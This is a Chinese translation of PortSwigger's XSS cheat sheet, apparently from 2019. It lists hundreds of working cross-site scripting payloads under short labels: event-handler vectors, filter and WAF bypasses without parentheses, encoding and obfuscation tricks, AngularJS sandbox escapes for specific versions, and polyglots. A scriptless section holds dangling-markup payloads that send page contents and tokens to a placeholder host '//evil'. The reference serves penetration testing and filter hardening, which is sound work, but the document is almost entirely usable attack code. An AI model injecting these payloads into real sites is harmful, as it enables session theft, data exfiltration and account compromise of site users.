这是一份跨站脚本（XSS）备忘录，收集了大量的XSS攻击向量，包含了各种事件处理、通讯协议、特殊属性、限制字符、编码方式、沙箱逃逸等技巧，可以帮助渗透测试人员绕过WAF和过滤机制。

译者注：原文由Portswigger公司的Web安全学院于2019年定期更新，对的，就是那家开发著名渗透工具Burp suite的公司，最后更新时间：2019年11月8日星期五10:58:07。

事件处理

不需要用户交互的事件处理程序

激活元素时触发(IE)

```
<a id=x tabindex=1 onactivate=alert(1)></a>
```

页面打印后触发（Chrome、Firefox、IE)

```
<body onafterprint=alert(1)>
```

CSS动画取消时触发(Firefox)

```
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>
```

CSS动画结束时触发（Chrome、Firefox、IE、Safari)

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>
```

重复CSS动画时触发（Chrome、Firefox、IE、Safari)

```
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>
```

CSS动画开始时触发（Chrome、Firefox、IE、Safari)

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>
```

在激活元素之前触发（IE）

```
<a id=x tabindex=1 onbeforeactivate=alert(1)></a>
```

在停用元素之前触发（IE）

```
 <a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
```

在页面打印前触发（Chrome、Firefox、IE)

```
<body onbeforeprint=alert(1)>
```

网址更改后触发（Chrome）

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

svg动画开始时触发（Chrome、Firefox、Safari）

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

当元素失去焦点时触发（Chrome、IE、Safari）

```
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
```

选框弹跳时触发（Firefox、IE）

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```

如果资源可以播放则触发（Chrome、Firefox、IE、Safari)

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

加载足够的数据以完全播放资源时触发（Chrome、Firefox、IE、Safari)

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
```

停用元素时触发（IE）

```
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
```

资源播放完毕时触发（Chrome、Firefox、IE、Safari)

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
```

资源加载失败或导致错误时触发（Chrome、Firefox、IE、Safari)

```
<audio src/onerror=alert(1)>
```

选框完成时触发（Firefox、IE)

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```

当元素具有焦点时触发（Chrome、IE、Safari)

```
 <a id=x tabindex=1 onfocus=alert(1)></a>
```

当元素具有焦点时触发（Chrome、IE、Safari)

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```

当元素失去焦点时触发（Chrome、IE、Safari)

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```

如果哈希值更改，则触发（Chrome、Firefox、IE、Safari)

```
<body onhashchange="alert(1)">
```

加载元素时触发（Safari)

```
<svg><a onload=alert(1)></a>
```

加载第一帧时触发（Chrome、Firefox、IE、Safari)

```
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

加载元数据时触发（Chrome、Firefox、IE、Safari)

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav">
</audio>
```

当元素完成加载时触发（Firefox)

```
<image src=validimage.png onloadend=alert(1)>
```

当元素开始加载时触发（Firefox)

```
<image src=validimage.png onloadstart=alert(1)>
```

当从postMessage调用接收到消息事件时触发（Chrome、Firefox、IE、Safari)

```
<body onmessage=alert(1)>
```

显示页面时触发（Chrome、Firefox、IE、Safari)

```
<body onpageshow=alert(1)>
```

播放资源时触发（Chrome、Firefox、IE、Safari)

```
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

触发资源正在播放（Chrome、Firefox、IE、Safari)

```
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```

历史记录更改时触发（Chrome、Firefox、IE、Safari)

```
 <body onpopstate=alert(1)>
```

svg动画重复时触发（Chrome、Firefox、Safari)

```
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
```

调整窗口大小时触发（Chrome、Firefox、IE、Safari)

```
<body onresize="alert(1)">
```

页面滚动时触发（Chrome、Firefox、IE、Safari)

```
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
```

选框开始时触发（Firefox、IE)

```
<marquee onstart=alert(1)>XSS</marquee>
```

更改时间轴时触发（Chrome、Firefox、IE、Safari)

```
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

展开详细信息标签时触发（Chrome、Firefox、IE、Safari)

```
<details ontoggle=alert(1) open>test</details>
```

CSS过渡取消时触发（Firefox)

```
<style>:target {color: red;}</style><a id=x style="transition:color 10s"
ontransitioncancel=alert(1)></a>
```

CSS过渡结束时触发（Chrome)

```
<style>:target {color:red;}</style><a id=x style="transition:color 1s"
ontransitionend=alert(1)></a>
```

CSS过渡开始时触发（Firefox)

```
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s"
ontransitionrun=alert(1)></a>
```

未履行承诺时触发（Firefox)

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

等待数据时触发（IE）

```
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4>
</video>
```

需要用户交互的事件处理程序

右键单击或使用鼠标中键时触发（Chrome、Firefox)

```
<input onauxclick=alert(1)>
```

需要复制一段文字（Chrome、Firefox、IE、Safari)

```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```

要求剪切一段文字（Chrome、Firefox、IE、Safari)

```
<a onbeforecut="alert(1)" contenteditable>test</a>
```

需要粘贴一段文字（IE）

```
<a onbeforepaste="alert(1)" contenteditable>test</a>
```

需要属性值的变化（Chrome、Firefox、IE、Safari)

```
<input onchange=alert(1) value=xss>
```

需要点击一下元素（Chrome、Firefox、IE、Safari)

```
<a onclick="alert(1)">test</a>
```

右键单击以显示上下文菜单时触发（Chrome、Firefox、IE、Safari)

```
<a oncontextmenu="alert(1)">test</a>
```

需要复制一段文字（Chrome、Firefox、IE、Safari)

```
<a oncopy="alert(1)" contenteditable>test</a>
```

要求剪切一段文字（Chrome、Firefox、IE、Safari)

```
<a oncut="alert(1)" contenteditable>test</a>
```

双击元素时触发（Chrome、Firefox、IE、Safari)

```
<a ondblclick="alert(1)">test</a>
```

触发拖动元素（Chrome、Firefox、IE、Safari)

```
<a draggable="true" ondrag="alert(1)">test</a>
```

触发拖动已在元素上完成（Chrome、Firefox、IE、Safari)

```
<a draggable="true" ondragend="alert(1)">test</a>
```

需要鼠标拖动（Chrome、Firefox、IE、Safari)

```
<a draggable="true" ondragenter="alert(1)">test</a>
```

需要鼠标拖动（Chrome、Firefox、IE、Safari)

```
<a draggable="true" ondragleave="alert(1)">test</a>
```

触发拖动元素（Chrome、Firefox、IE、Safari)

```
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1)
contenteditable>drop here</a>
```

需要鼠标拖动（Chrome、Firefox、IE、Safari)

```
<a draggable="true" ondragstart="alert(1)">test</a>
```

触发删除可拖动元素（Chrome、Firefox、IE、Safari)

```
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop
here</a>
```

需要作为价值的变化（Chrome、Firefox、IE、Safari)

```
<input oninput=alert(1) value=xss>
```

需要具有不满足其约束的元素（例如必填属性）的表单提交。（Chrome、Firefox、IE、Safari)

```
<form><input oninvalid=alert(1) required><input type=submit>
```

按下键时触发（Chrome、Firefox、IE、Safari)

```
<a onkeydown="alert(1)" contenteditable>test</a>
```

按下键时触发（Chrome、Firefox、IE、Safari)

```
<a onkeypress="alert(1)" contenteditable>test</a>
```

释放按键时触发（Chrome、Firefox、IE、Safari)

```
<a onkeyup="alert(1)" contenteditable>test</a>
```

按下鼠标时触发（Chrome、Firefox、IE、Safari)

```
<a onmousedown="alert(1)">test</a>
```

当鼠标悬停在元素上时触发（Chrome、Firefox、IE、Safari)

```
<a onmouseenter="alert(1)">test</a>
```

当鼠标移离元素时触发（Chrome、Firefox、IE、Safari)

```
<a onmouseleave="alert(1)">test</a>
```

需要鼠标移动（Chrome、Firefox、IE、Safari)

```
<a onmousemove="alert(1)">test</a>
```

当鼠标移离元素时触发（Chrome、Firefox、IE、Safari)

```
<a onmouseout="alert(1)">test</a>
```

需要将鼠标悬停在元素上（Chrome、Firefox、IE、Safari)

```
<a onmouseover="alert(1)">test</a>
```

释放鼠标按钮时触发（Chrome、Firefox、IE、Safari)

```
<a onmouseup="alert(1)">test</a>
```

需要粘贴一段文字（Chrome、Firefox、IE、Safari)

```
<a onpaste="alert(1)" contenteditable>test</a>
```

需要点击元素才能暂停（Chrome、Firefox、IE、Safari)

```
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
```

需要点击（Chrome、Firefox、IE、Safari)

```
<form onreset=alert(1)><input type=reset>
```

提交表单并且输入具有搜索的type属性时触发（Chrome）

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```

需要点击元素时间轴（Chrome、Firefox、IE、Safari)

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
```

需要点击元素时间轴（Chrome、Firefox、IE、Safari)

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
```

需要选择文字（Chrome、Firefox、IE、Safari)

```
<input onselect=alert(1) value="XSS" autofocus>
```

需要提交表单（Chrome、Firefox、IE、Safari)

```
<form onsubmit=alert(1)><input type=submit>
```

需要在页面上的任意位置单击并重新加载（Chrome)

```
<svg onunload=window.open('javascript:alert(1)')>
```

需要调节音量（Chrome、Firefox、IE、Safari)

```
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

使用鼠标滚轮时触发（Chrome、Firefox、IE、Safari)

```
<body onwheel=alert(1)>
```

限制字符

无括号，使用异常处理

```
<script>onerror=alert;throw 1</script>
```

无括号，无分号，使用异常处理

```
<script>{onerror=alert}throw 1</script>
```

无括号的异常处理，没有使用表达式的半冒号

```
<script>throw onerror=alert,1</script>
```

无括号异常处理和evil

```
<script>throw onerror=eval,'=alert\x281\x29'</script>
```

无括号，在Firefox上使用异常处理和evil

```
<script>
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}
</script>
```

无括号，使用ES6 hasInstance和instanceof与eval

```
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
```

无括号，使用ES6的hasInstance和instanceof以及eval

```
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
```

无括号，使用位置重定向

```
<script>location='javascript:alert\x281\x29'</script>
```

无字符串，使用位置没有括号重定向

```
<script>location=name</script>
```

无括号，使用模板字符串

```
<script>alert`1`</script>
```

前端框架

Bootstrap onanimationstart事件

```
<xss class=progress-bar-animated onanimationstart=alert(1)>
```

Bootstrap ontransitionend事件

```
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)>
<xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item>
</xss></xss></xss>
```

通讯协议

iframe src属性JavaScript协议

```
<iframe src="javascript:alert(1)">
```

具有JavaScript协议的对象data属性

```
<object data="javascript:alert(1)">
```

使用JavaScript协议嵌入src属性

```
<embed src="javascript:alert(1)">
```

标准的JavaScript协议

```
<a href="javascript:alert(1)">XSS</a>
```

不区分大小写的协议

```
<a href="JaVaScript:alert(1)">XSS</a>
```

协议之前允许使用字符\x01- \x20

```
<a href="       javascript:alert(1)">XSS</a>
```

协议中允许使用字符\ x09，\x0a，\x0d

```
<a href="javas  cript:alert(1)">XSS</a>
```

协议名称后在冒号前允许字符\x09，\x0a，\x0d

```
<a href="javas  cript:alert(1)">XSS</a>
```

带有JavaScript协议的SVG中的Xlink命名空间

```
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
```

使用值的SVG动画标签

```
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss>
<text x=20 y=20>XSS</text></a>
```

SVG动画标签用于

```
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss>
<text x=20 y=20>XSS</text></a>
```

SVG设置标签

```
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text
x=20 y=20>XSS</text></a>
```

脚本src中的数据协议

```
<script src="data:text/javascript,alert(1)"></script>
```

SVG脚本href属性，无需关闭脚本标签

```
<svg><script href="data:text/javascript,alert(1)" />
```

SVG使用元素Chrome/Firefox

```
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a
xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x">
</use></svg>
```

带有数据URL的导入语句

```
<script>import('data:text/javascript,alert(1)')</script>
```

具有JavaScript协议的基本标记重写了相对URL

```
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
```

MathML使任何标签都可点击

```
<math><x href="javascript:alert(1)">blah
```

按钮和动作

```
<form><button formaction=javascript:alert(1)>XSS
```

输入和形式

```
<form><input type=submit formaction=javascript:alert(1) value=XSS>
```

形式与行动

```
<form action=javascript:alert(1)><input type=submit value=XSS>
```

Isindex和formaction

```
<isindex type=submit formaction=javascript:alert(1)>
```

index和action

```
<isindex type=submit action=javascript:alert(1)>
```

将元素与外部网址一起使用

```
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>
```

其他有用的属性

使用srcdoc属性

```
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
```

对实体使用srcdoc

```
<iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe>
```

在页面上的任何位置（甚至在表单外部）单击提交元素

```
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
```

隐藏的输入：访问键属性可以在通常无法利用的元素上启用XSS

```
<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows)
(CTRL+ALT+X on OS X)
```

链接元素：访问键属性可以在通常无法利用的元素上启用XSS

```
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows)
(CTRL+ALT+X on OS X)
```

下载属性可以保存当前网页的副本

```
<a href=# download="filename.html">Test</a>
```

使用Referrerpolicy禁用引荐来源网址

```
<img referrerpolicy="no-referrer" src="//portswigger-labs.net">
```

特殊标签

重定向到其他域

```
<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
```

元字符集属性UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

元字符集UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-
alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符（必须在文档开头）1

```
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符（必须在文档开头）2

```
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符（必须在文档开头）3

```
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符（必须在文档开头）4

```
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

升级不安全的请求

```
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
```

通过iframe沙箱禁用JavaScript

```
<iframe sandbox src="//portswigger-labs.net"></iframe>
```

禁用引荐来源

```
<meta name="referrer" content="no-referrer">
```

编码方式

超长UTF-8

```
%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>
```

Unicode转义

```
<script>\u0061lert(1)</script>
```

Unicode转义ES6样式

```
<script>\u{61}lert(1)</script>
```

Unicode转义ES6样式零填充

```
<script>\u{0000000061}lert(1)</script>
```

十六进制编码JavaScript转义

```
<script>eval('\x61lert(1)')</script>
```

八进制编码

```
<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>
```

带有可选分号的十进制编码

```
<a href="&#106;avascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>
```

带有HTML编码的SVG脚本

```
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
```

带填充零的十进制编码

```
<a href="&#0000106avascript:alert(1)">XSS</a>
```

十六进制编码实体

```
<a href="&#x6a;avascript:alert(1)">XSS</a>
```

如果下一个字符不是a-f0-9，则不使用分号的十六进制编码

```
<a href="j&#x61vascript:alert(1)">XSS</a>
<a href="&#x6a
avascript:alert(1)">XSS</a>
<a href="&#x6a avascript:alert(1)">XSS</a>
```

带填充零的十六进制编码

```
<a href="&#x0000006a;avascript:alert(1)">XSS</a>
```

十六进制编码不区分大小写

```
<a href="&#X6A;avascript:alert(1)">XSS</a>
```

HTML实体

```
<a href="javascript&colon;alert(1)">XSS</a>
<a href="java&Tab;script:alert(1)">XSS</a>
<a href="java&NewLine;script:alert(1)">XSS</a>
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
```

网址编码

```
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
```

HTML实体和URL编码

```
<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>
```

混淆

Firefox在＆之后允许NULL

```
<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
```

Firefox允许在命名实体内使用NULL

```
<a href="javascript&colon;alert(1)">Firefox</a>
```

Firefox在开头的注释中允许使用NULL字符

```
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
```

带有base64的脚本src中的数据协议

```
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
```

客户端模板注入

AngularJS沙箱逃逸

版本：1.0.1-1.1.5

```
{{constructor.constructor('alert(1)')()}}
```

版本：1.0.1-1.1.5（较短）

```
{{$on.constructor('alert(1)')()}}
```

版本：1.2.0-1.2.1

```
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```

版本：1.2.2-1.2.5

```
{{{}.")));alert(1)//"}}
```

版本：1.2.6-1.2.18

```
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
```

版本：1.2.19-1.2.23

```
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
```

版本：1.2.24-1.2.29

```
{{{}."));alert(1)//"}}
```

版本：1.2.27-1.2.29/1.3.0-1.3.20

```
{{{}."));alert(1)//"}}
```

版本：1.3.0

```
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
```

版本：1.3.3-1.3.18

```
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=
[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
```

版本：1.3.19

```
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=
[].join;$eval('x=alert(1)//');}}
```

版本：1.3.20

```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
```

版本：1.4.0-1.4.9

```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```

版本：1.5.0-1.5.8

```
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
```

版本：1.5.9-1.5.11

```
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```

版本：> = 1.6.0

```
{{constructor.constructor('alert(1)')()}}
```

版本：> = 1.6.0（较短）

```
{{$on.constructor('alert(1)')()}}
```

基于DOM的AngularJS沙箱逃逸

所有版本（Chrome）

```
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
```

所有版本（Chrome）较短

```
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
```

所有版本（所有浏览器）都较短

```
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
```

版本：1.2.0-1.5.0

```
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
```

无脚本攻击

背景属性

```
<body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?
```

链接href样式表

```
<link rel=stylesheet href="//evil?
```

链接href图标

```
<link rel=icon href="//evil?
```

Meta刷新

```
<meta http-equiv="refresh" content="0; http://evil?
```

Img通过src属性传递标记

```
<img src="//evil?
<image src="//evil?
```

使用track元素的视频

```
<video><track default src="//evil?
```

使用sourcr元素和src属性的视频

```
<video><source src="//evil?
```

使用source元素和src属性的音频

```
<audio><source src="//evil?
```

输入src

```
<input type=image src="//evil?
```

使用formaction的按钮

```
<form><button style="width:100%;height:100%" type=submit formaction="//evil?
```

使用formaction输入

```
 <form><input type=submit value="XSS" style="width:100%;height:100%" type=submit
formaction="//evil?
```

表单使用action

```
<button form=x style="width:100%;height:100%;"><form id=x action="//evil?
```

使用src属性的Isindex

```
<isindex type=image src="//evil?
```

Isindex使用submit

```
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
```

Object data

```
<object data="//evil?
```

iframe src

```
<iframe src="//evil?
```

Embed src

```
<embed src="//evil?
```

使用textarea标记并发布到外部站点

```
<form><button formaction=//evil>XSS</button><textarea name=x>
```

使用表单目标通过window.name传递标记数据

```
<button form=x>XSS</button><form id=x action=//evil target='
```

使用基本目标通过window.name传递标记数据

```
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100
color=red>You must click me</font></a><base target="
```

使用formtarget通过window.name传递标记数据

```
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html formtarget="
```

使用基本href传递数据

```
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base
href="//evil/
```

使用embed src从页面传递数据

```
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

使用iframe窗口名称从页面传递数据

```
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

使用object窗口名称从页面传递数据

```
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

使用frameset窗口名称从页面传递数据

```
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```

多语言有效载荷

多语言有效载荷1

```
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
```

多语言有效载荷2

```
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script>
<html \"
 onmouseover=/*&lt;svg/*/onload=alert()//>
```

经典向量（XSS加密）

具有JavaScript协议的Image src

```
<img src="javascript:alert(1)">
```

带有JavaScript协议的正文背景

```
<body background="javascript:alert(1)">
```

随着现代浏览器使用空来源，iframe数据网址不再起作用

```
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
```

用于IE的VBScript协议

```
<a href="vbscript:MsgBox+1">XSS</a>
<a href="#" onclick="vbs:Msgbox+1">XSS</a>
<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>
```

JScript compact是JS的最小版本，未在IE中广泛使用

```
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
```

JScript.Encode允许编码的JavaScript

```
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
```

VBScript.Encoded允许编码的VBScript

```
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
```

用于Netscape Navigator的JavaScript实体

```
<a title="&{alert(1)}">XSS</a>
```

Netscape Navigator曾经支持JavaScript样式表

```
<link href="xss.js" rel=stylesheet type="text/javascript">
```

用于消耗标记的按钮

```
<form><button name=x formaction=x><b>stealme
```

IE9选择元素和纯文本用于消耗标记

```
<form action=x><button>XSS</button><select name=x><option><plaintext>
<script>token="supersecret"</script>
```

仅限XBL Firefox <= 2

```
<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
```

XBL也使用数据URL在FF3.5中工作

```
<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-
8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22
http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cco
nstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js
%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28
%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20
document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr
%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />
```

CSS表达式<= IE7

```
<div style=xss:expression(alert(1))>
<div style=xss:expression(1)-alert(1)>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio&#x5c;6e(alert(1))>
```

在怪癖模式下，IE允许您使用=代替：

```
<div style=xss=expression(alert(1))>
<div style="color&#x3dred">test</div>
```

IE较旧模式的行为

```
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>
```

IE中较旧版本的函数中支持的事件处理程序

```
<script>
function window.onload(){
alert(1);
}
</script>
<script>
function window::onload(){
alert(1);
}
</script>
<script>
function window.location(){
}
```

```
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>
```

GreyMagic HTML + time漏洞利用（即使在5 docmode下也不再起作用）

```
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import
namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img
src=1 onerror=alert(1)>"> </BODY></HTML>
```

> 原文地址：https://portswigger.net/web-security/cross-site-scripting/cheat-sheet